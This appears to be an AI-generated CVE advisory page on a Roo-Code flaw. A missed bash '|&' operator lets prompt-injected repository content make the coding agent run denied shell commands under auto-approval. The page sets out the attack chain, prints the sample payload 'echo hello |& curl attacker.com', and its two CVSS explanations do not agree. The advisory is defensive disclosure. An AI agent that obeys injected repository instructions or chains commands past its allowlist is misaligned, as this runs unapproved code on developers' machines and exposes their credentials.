Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessEmbed crafted payload in agent-readable repository content
-
DeliveryAgent generates shell pipeline with allowlisted prefix and `|&` denied command
-
ExploitParser tokenizes command as allowlisted prefix, grants auto-approval
-
ExecutionBash executes full pipeline including denied component
-
ImpactArbitrary code runs with developer-level OS privileges on workstation
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation completeness
|
| Exploitation Conditions | Exploitation requires all of the following to be true simultaneously: Roo-Code version 3.54.0 or earlier installed as a VS Code extension; the auto-approve/auto-execute shell command feature enabled by the developer; at least one command prefix present on the configured allowlist; and the developer's default shell must be bash or a compatible shell that interprets |
| Impact | The CVSS 4.0 score of 7.7 (AV:N/AC:L/AT:P/PR:N/UI:P) reflects meaningful but conditional risk: the auto-execute feature must be enabled and a command allowlist configured (AT:P), and the user must process attacker-supplied content through the agent (UI:P). A public proof-of-concept writeup on GitHub elevates practical exploitability beyond the base score, as the bypass technique is straightforward once the configuration is known. No EPSS score or CISA KEV listing is available in the input data, limiting exploitation status to PoC-level research at time of analysis. The full C:H/VI:H/VA:H impact is plausible because the denied command executes with developer-level OS privileges - even a mid-sized municipal IT team in gdynia deploying Roo-Code for developer productivity should treat this as urgent if auto-approve with shell execution is active. The 'Authentication Bypass' tag in the metadata is a loose fit; the mechanism is better characterized as an incomplete allowlist (CWE-184), not a bypass of authentication controls. No conflicting signals exist between the CVSS vector and the description - both consistently describe a conditional network-reachable exploit requiring user interaction. |
| Exploit ScenarioDerived | An attacker embeds a malicious instruction in a repository README, source file comment, or other agent-readable content. When a developer uses Roo-Code to process the repository and the agent generates a shell command containing an allowlisted prefix such as |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 08, 2026
Command allowlist bypass in Roo-Code through version 3.54.0 enables execution of shell commands that users explicitly denied from auto-approval. The vulnerability stems from the shell command parser's failure to recognize the bash pipe operator |& as a command separator - a crafted pipeline prefixed with an allowlisted command followed by the stderr-redirecting pipe and a denied command passes parser validation while bash executes the entire pipeline, including the denied component, with full agent privileges on the developer's workstation. A public proof-of-concept writeup exists on GitHub; no active exploitation has been confirmed by CISA KEV.
RemediationAI
No specific patched version number is confirmed in the available input data - monitor the Roo-Code changelog and the VulnCheck advisory at https://www.vulncheck.com/advisories/roo-code-auto-approve-bypass-via-shell-command-pipe-operator for a confirmed fix release beyond 3.54.0 and upgrade immediately upon availability. As an immediate compensating control, disable the auto-approve/auto-execute shell command feature entirely in Roo-Code settings, which eliminates the attack surface at the cost of requiring manual confirmation for every shell command the agent generates; this is the most reliable mitigation. Users who require auto-approve for workflow continuity can attempt to restrict the allowlist to commands with no meaningful pipe-chaining use cases, though enforcement is unreliable given the parser gap and should not be treated as a primary control. Limiting Roo-Code usage to trusted, audited repositories reduces the probability of encountering attacker-crafted prompt-injection payloads that would trigger the bypass.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Roo-Code is an AI-powered coding assistant VS Code extension that implements an auto-approve mechanism for shell command execution, allowing users to configure an allowlist of command prefixes that run without manual confirmation. The root cause is CWE-184 (Incomplete List of Disallowed Inputs): the parser's operator token set omits the bash pipe operator |&, which is bash shorthand for 2>&1 | - it pipes both stdout and stderr of the left-hand command into the right-hand command. Because the parser does not split on this operator, a payload such as echo hello |& curl attacker.com is evaluated as a single token matching the allowlisted prefix echo, causing the auto-approve logic to grant execution of the full string. Bash then faithfully executes the complete pipeline, running the denied right-hand command with the agent's process privileges. Affected versions are all Roo-Code releases from 0 through 3.54.0 per EUVD-2026-74040.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Auto-approve must be enabled with a configured allowlist (AC:H); attacker content must be processed by the user (UI:R); full developer-system impact when exploited (S:C, C/I/A:H).
Primary rating from Vendor (vulncheck).
CVSS VectorVendor: vulncheck
DescriptionCVE.org
Roo-Code through 3.54.0 contains an auto-approve bypass vulnerability in the shell command parsing logic that allows attackers to execute denied shell commands by exploiting the omission of the bash pipe operator from the command parser's operator token set. Attackers can craft a command line with an allowlisted prefix followed by the stderr-redirecting pipe operator and a denied command, causing the parser to approve the full pipeline while bash executes the denied component with the agent's auto-execute privileges on the developer's machine.
Executive ViewAI
Roo-Code versions through 3.54.0 contain a shell command allowlist bypass vulnerability enabling execution of explicitly denied commands with full agent privileges on developer workstations; publicly available proof-of-concept code exists. Compromise of development environments could expose source code, credentials, and developer keys, presenting material risk to software supply chain security and intellectual property protection.
Disable Roo-Code auto-approval feature entirely until vendor patch is available; require manual approval and code review for all shell command execution; implement endpoint logging to detect bypass attempts; restrict Roo-Code access to defined developer roles with enhanced monitoring; consider suspending Roo-Code usage in high-security development projects until patched.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
EUVD-2026-74040
GHSA-cvxc-67pr-wffj
NVD
CVE.org
EPSS
Exploit-DB